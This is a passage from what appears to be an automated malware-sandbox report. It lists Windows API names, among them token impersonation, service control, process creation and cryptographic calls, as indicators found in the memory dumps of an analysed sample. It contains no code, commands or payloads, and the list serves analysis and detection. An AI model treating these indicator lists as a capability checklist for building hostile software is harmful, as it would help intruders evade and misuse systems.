00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "SetHandleCount"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "MessageBox"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "GetUserName"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "OpenSCManager"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "OpenService"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "OpenServiceA"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "StartService"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "ControlService"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "ChangeServiceConfig"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall2"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: 